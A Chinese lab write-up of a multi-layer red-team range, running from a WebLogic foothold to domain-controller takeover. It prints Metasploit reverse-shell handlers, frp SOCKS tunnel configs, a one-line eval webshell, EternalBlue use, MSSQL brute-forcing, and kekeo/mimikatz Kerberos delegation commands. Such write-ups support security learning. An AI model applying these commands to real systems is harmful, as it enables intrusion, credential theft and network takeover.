一次极其曲折的多层靶场渗透--渗透攻击红队靶场

内网域渗透总结(红日靶场一) 使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。 阅读详情

声明

以下内容,来自moon_flower作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

外网weblogic服务器

不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下

图片除此之外还可以试试weblogic的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化rce了。
传个🐎上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是🐎的路径选择
写入console images目录

物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
访问路径:
/console/framework/skins/wlsconsole/images/shell.jsp
能传上但访问404

写入uddiexplorer目录中

物理路径:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问路径:
/uddiexplorer/shell.jsp
(发现没这个目录)

写入应用安装目录

物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问路径:
/项目名/shell.jsp
(也没路径)

传马失败,等解决了再回来补,这里直接用CS生成powershell上线了。
图片

域内个人PC

做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
图片mimikatz抓一下密码,win 2012抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用portscan扫一下子网,发现10.10.20.7主机,传个代理继续打。不知道为什么ew用不了,所以改用frp
攻击机:

[common]
bind_addr =0.0.0.0
bind_port = 7000

跳板机:

[common]
server_addr = 192.168.0.128
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

用CS派生一个监听道到 msf,用msf继续打横向:

use exploit/multi/handler 
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 20001
连上之后迁移进程
run post/windows/manage/migrate

msf挂上代理打永恒之蓝:

set Proxies socks5:192.168.0.128:7777
set ReverseAllowProxy true

永恒之蓝的shell不稳定,容易打蓝屏,派生到CS上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用msf正向(防火墙限制)或用CS中转。
图片
比较无法理解的是不知道为什么生成powershell command不能选择CS中继 Listener,但生成exe就可以,第二个坑待会补,用msf传exe弹到CS中继上。
在打的时候一直反弹不回来,后来想了想才发现weblogic主机没关防火墙,ping都ping不通。最后弹回来了,永恒之蓝打的,还是个system权限,可以开始打域控了。

注意这里不要直接用ms17_010_eternalblue打,很容易打蓝屏,用 ms17_010_comman弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)

最后还是用ms17_010_eternalblue打的。
图片

域渗透

先做本机信息收集,win7系统,另一张网卡10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是system权限不在域中,考虑用msf的steal_token实现降权,重新反弹一个shell到CS中。

图片继续利用CS进行域信息收集,域控10.10.10.8,域管理员administrator,还有一台sqlserver机器。
图片考虑打域控的几种思路:

这里尝试通过委派打其他主机,其他方式见坑4。

传一个Adfind上去,查找一下配置了委派的用户

查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束主机:sqlserver和域控
图片非约束用户:saulgoodman
图片约束委派用户:sqlserver
图片考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
这里用约束委派攻击,但首先要拿下sqlserver这台机器,传个fscan做一下端口扫描。

shell fscan64.exe -np -h 10.10.10.0/24

80没东西,爆破一下1443的sa用户,密码sa,传个工具进行连接,这里选用的是SqlKnife

shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami

图片
但只是个数据库权限,要想办法提权,但现在这个shell很难用,记起来还有个web服务,考虑在web服务器目录下写shell,但权限太小遂放弃。
最后用EfsPotato提权成功

shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami

图片
这就是拿到一个system权限了。
但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了frp搭了一层代理,让最外层的 kali 能直接访问10.10.10.0/24。
frpc.ini

[common]
server_addr = 10.10.20.12
server_port = 9000

[plugin_socks]
type = tcp
remote_port = 9999
plugin = socks5

frps.ini

[common]
bind_addr =0.0.0.0
bind_port = 9000

然后在kali的proxychains4的 配置文件如下:
图片
直接挂代理起msf,用exploit/windows/mssql/ms-sql_clr_payload模块之间打(注意设用户密码)

用拿下的win7做中继,用CS生成马,通过meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
图片也可以直接用

https://github.com/RowTeam/SharpSQLTools/带GUI界面执行文件。但不知道为什么一直没办法反弹到cs上,(或许不能弹中继的中继?)

最后还是用msf生成正向shell的马传到sqlserver上,再用EfsPotato 提权后去执行,得到一个system权限的meterpreter.(其实这里用CS的beacon_tcp也可以实现正向连接)
msf监听:

handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003

cs跳板机正向连接

connect 10.10.10.18 30004

或者先在用msf写一个bat,再用EfsPotato提权后去执行(这个system不能写只能执行),向80端口中写一个webshell连接上
图片shell.bat:

echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx

连上webshell之后就要想办法提权了

查询当前系统缺失的常见可用于提权的补丁:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

(具体试了几个都有各种限制)
总而言之拿到了一个msf的system的shell,可以继续约束委派攻击了。
先抓一波密码:
图片
这里的sqlserver是配置了约束委派的用户,降权到sqlserver,传一个kekeo 继续攻击
请求用户的TGT

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt

用生成的

TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi获取域机器的ST:

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt

最后用mimikatz将ST2导入当前会话

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

此时已经和域控建立了ipc会话,可以直接远程查看
图片
拿到flag。

  1. 抓密码或dump密码,但运行mimikatz只能看到saul的密码,利用价值不大。

  2. 尝试令牌窃取,但ps中没有域控进程,遂放弃

  3. 已有漏洞,如zerologon的重置密码等

  4. 委派,先打其他主机

  5. 待补充,但可参考

    https‍://github.com/infosecn1nja/AD-Attack-Defense

  • 没解决的问题:
  • 一路的坑,之后慢慢填

  • CS和MSF操作上有很多的问题

  • 多层内网的反弹shell(后来一直都是正向链接,有防火墙的话就很难受)

  • 没过杀软,大问题

  • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术

参考文献

  • https://www.sqlsec.com/2018/03/smb.html

  • http://deepmountains.cn/2021/03/08/2.%20Cobalt%20Strike%E4%B9%8Bbeacon%E7%9B%91%E5%90%AC%E5%99%A8/

  • https://www.freebuf.com/vuls/304576.html

  • https://0rangex.github.io/2022/01/26/Domain-penetration_one-stop/

  • https://www.anquanke.com/post/id/250346

欢迎关注长白山攻防实验室微信公众号
定期更新优质文章分享

红队笔记(1):红队与渗透测试 红队整体概念与相关名词的介绍 阅读详情

相关推荐

SQLi-knife:一种用于检测和利用SQLi漏洞SQL注入引擎

SQLi刀 SQL注入引擎,用于检测和利用SQLi漏洞 使用示例:python SQLi-knife.py -u

红队靶场内网渗透(从DMZ主机渗透到域内机器)

红队靶场内网渗透(从DMZ主机渗透到域内机器)

m0_65712192的博客 5894

从‘全步’到‘微步’:一张图看懂步进电机细分控制,选对模式让你的项目更丝滑

本文深入解析步进电机细分控制技术,从全步到微步的演进过程,帮助工程师根据项目需求选择最优控制模式。通过对比不同细分等级的性能特点和应用场景,提供3D打印、实验室自动化等领域的黄金配置方案,实现更精准、平稳的电机控制效果。

weixin_29290259的博客 471

内网靶场 渗透攻击红队内网域渗透靶场-1(Metasploit)零基础入门到精通,收藏这一篇就够了

外网和内网前面部分大致路线与上一期相同,这一次主要用的MSF进行上线、代理等操作,在域渗透部分与上一期相比使用了不同的手法:查看到SQLSERVER-2008的系统信息后去网络上搜集对应版本的提权漏洞,然后尝试提权;可以看到默认是监听本地的8080端口,支持9种类型的payload,这里使用PSH,反弹shell的payload使用windows/x64/meterpreter/reverse_tcp。尝试了多次才成功,拿到了WORK-7的SYSTEM权限,查看系统信息可以看到存在域REDTEAM。

HUANGXIN9898的博客 4241

【Out-of-Distribution Detection】Evidential Deep Learning in NeurIPS 2018 个人理解

核心思想是将分类器的概率输出视为一个狄利克雷分布(Dirichlet Distribution)并替换,之后引入两个损失分别负责保证预测结果准确性和提升被错误分类的样本的不确定性。

研究兴趣:开放集识别、开放世界识别、新类发现、增量学习、少样本学习 2436

大数据分析案例-基于随机森林算法构建二手房价格预测模型

通过应用随机森林算法,我们希望建立一个能够有效预测二手房价格的模型。这个模型可以基于各种因素,如区域位置、房屋属性、市场供需等,来预测未来某一时间点的房价。通过提高预测准确性,我们可以更好地把握房地产市场动态,为决策提供更有价值的参考。揭示影响二手房价格的因素及其影响方式:通过分析随机森林算法生成的模型,我们可以进一步了解哪些因素对二手房价格有重要影响,以及这些因素如何影响房价。这有助于我们深入理解房地产市场的运行规律,为制定更为有效的市场策略提供依据。

m0_64336780的博客 1万+

内网渗透vulntarget-a 多层域控靶场

网络拓扑图如下这里我们本次渗透测试,外网Win7IP地址为192.168.127.91靶机信息:靶机用户名密码Windows 7win7adminAdmin@123Admin#123Admin@666靶机下载地址:https://github.com/crow821/vulntarget这个靶场是我第一个搭建在本地上的靶场,虽然中路有很多挫折,比如在前期配置外网网卡时候,发现DHCP一直分配不上ip地址,一直是168.254.X.X,好在后面及时发现问题,发现网卡设置错了。

weixin_68408599的博客 3233

YOLOv8优化:独家创新(SC_C_Detect)检测头结构创新,实现涨点 | 检测头新颖创新系列

独家创新(SC_C_Detect)检测头结构创新,适合科研创新度十足,强烈推荐

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 4877

渗透攻击红队域渗透靶场

由于连接上之后总是掉权限,并且计划任务不知道为什么报错,mimikatz总是需要频繁的重新导入票据,捣鼓了很久没有思路,在翻笔记时想起了,建立ipc之后 psexec 就不需要账号密码了,于是下面的命令成功执行了shell。发现还是普通权限,不过没关系我们可以上传一个cs中转的木马,使用SharpSQLTools的system权限来执行。发现sqlserver的用户设置了约束委派,因此我们要拿下sqlserver那台主机,使用约束委派拿下域控。经历千辛万苦,终于成功了,他攻击的时候不要按回车,可能出问题。

qq_31812157的博客 754

s8654

The official Snapdragon Ride SX 4.0 development board provides standardized hardware support for the secondary development and functional verification of the s8654 platform.

qq_39257814的博客 6835

交货单冲销发货过账的正确姿势:用 VL09 与 ABAP 批量反冲 Goods Issue

摘要 本文详细解析了SAP系统中VL09事务码的技术实现与业务应用。VL09用于反冲发货的货物移动,通过标准冲销路径(移动类型602冲销601)确保单据链路一致、状态机正确回退和业务规则生效。文章对比了经典VL09与Fiori应用在不同SAP产品形态中的位置,并针对STO场景提供了ME23N验证方法。核心内容包括WS_REVERSE_GOODS_ISSUE函数模块的调用要点、必须COMMIT的原因(SAP LUW机制),以及处理Handling Unit等限制条件的注意事项。最后给出了将VL09工程化的项目

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 595

Vulnstack红日安全内网域渗透靶场1实战

文章目录前言靶场搭建外网打点MySQL写日志GetshellCMS后台上传GetShell内网渗透靶机CS后门上线内网域信息的收集 前言 VulnStack 是由红日安全团队倾力打造一个靶场知识平台。为了进一步学习内网渗透,本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。 靶场搭建 在线 靶场链接 如下: 1、下载后为 3 个虚拟机,网络拓扑如下: 2、从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击

道阻且长,行则将至 2万+

使用pyqt5实现可勾选的测试用例界面

使用pyqt5实现可勾选的测试用例界面

天赐好车的博客 629

漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控

文章目录环境搭建1.外网打点2.上线 CS3.内网横向信息收集存活探测&漏洞扫描搭建代理ms17010抓密码4.二层内网域渗透win7上线cs内网信息收集二层Frp代理打数据服务器SQL server上线CS5.域内委派拿域控 从外网 Weblogic 打进内网,再到约束委派接管域控 靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ 本靶场存在的漏洞: GPP:admin:admin!@#45 存在 G.

Love&Share 4928

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

自主搭建的三层网络域渗透靶场打靶记录

假期马上结束了,闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的,质量自以为还可以。文中若有不当之处还请各位大佬多多点评公众号:WHOAMIAnony整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理,横向移动,最终拿下域控。端口扫描端口服务识别漏洞搜索与利用Laravel Debug mode RCE(CVE-2021-3129)漏洞利用Docker逃逸通达OA v11.3 漏洞利用Linux环境变量提权Redis 未授权访问漏洞。

Innocence_0的博客 1336

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Magenta 项目安装与使用教程

Magenta 项目的目录结构如下: ``` magenta/ ├── AUTHORS ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── setup.py ├── magenta/ │ ├── __init__.py │ ├── models/ │ │ ├── __init__.py │ │ ├── melody_rnn/...

gitblog_00046的博客 622

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

基于自建靶场三层网络的内网渗透

网络拓扑图:为了方便起见,我在每个服务器放有webshell,这里主要是让我们熟悉sock代理的使用。linux(ubuntu)网卡配置/防火墙ufw_不习惯有你的博客-优快云博客这里我只是做一个简单的工具熟悉,所以在几个web服务器上都放了webshell还请各位大佬不用攻击我的服务器,为了更好的理解,所以就以自己服务器来演示一切内容仅用于安全技术的学习,切勿用于其他用途。

qq_58000413的博客 969

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

本次主要学习了javaweb项目方面任意出现的一些安全问题,最主要的是有关于JWT身份认证上的攻击,并利用webgoat靶场进行了一些实验。JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。jwt由三个部分组成:header.payload.signature。

qq_43696276的博客 3745

攻击narak靶场

攻击narak靶场

qq_62638044的博客 840

Web安全和渗透测试有什么关系?

做渗透测试的一个环节就是测试web安全,需要明白漏洞产生原理,通过信息收集互联网暴露面,进行漏洞扫描,漏洞利用,必要时进行脚本自编写和手工测试,力求挖出目标存在的漏洞并提出整改建议,当然如果技术再精一些,还要学习内网渗透(工作组和域环境),白盒审计,app,小程序渗透那些了......可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。总之,web安全包含于渗透测试,但不是渗透测试的全部。

Python_0011的博客 4864

CFS三层内网靶场实战

CFS三层内网,内网渗透,内网漫游

susixteen的博客 2450

网络靶场攻防综合实验

目录一,靶场环境搭建1.1,网络拓扑结构图1.2,搭建简易的网络攻防实验靶场环境,包括:1.3,网络靶场攻击渗透测试,包括:1.4,网络靶场攻击检测二,靶场的搭建与攻击渗透测试2.1,Honeyd2.1.1,honeyd概述2.1.2,honeyd所依赖的函数库2.1.3,搭建honeyd2.1.4,编写honeyd的配置文件2.1.5,启动honeyd2.1.6,检查honeyd搭建情况2.2,具有“永恒之黑”CVE-2020-0796漏洞的虚拟主机2.2.1,漏洞概述2.2.2,复现环境2.2.3,漏洞

weixin_46605806的博客 8271

红队攻击思路知识框架

0x00 红队基础知识一、构建一个大型内网域环境搭建父域控制器子域控制器辅域控制器域内主机域内服务器二、Windows NTLM(NT LAN Manager)认证原理Kerberos 域内认证原理0x02 内网信息搜集篇一、工作组和大型域内网如何进行信息搜集如何搜集本机密码MySQLSQL Server... ...Linux 如何搜索特定的密码文件搜集指定用户的命令历史记录中的各种明文密码W...

渗透测试研究中心 612

Active Directory 常用属性

1.获取DirectoryEntry stringstr=string.Empty; stringstrPath=@LDAP://testDomain.com.mo; stringad="testAD"; System.DirectoryServices.DirectorySearchersea=newSystem.DirectoryServices.Dir...

weixin_30600503的博客 271
上一篇: LLVM PASS PWN(一)
下一篇: 红队视角下Java内存马的应用
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值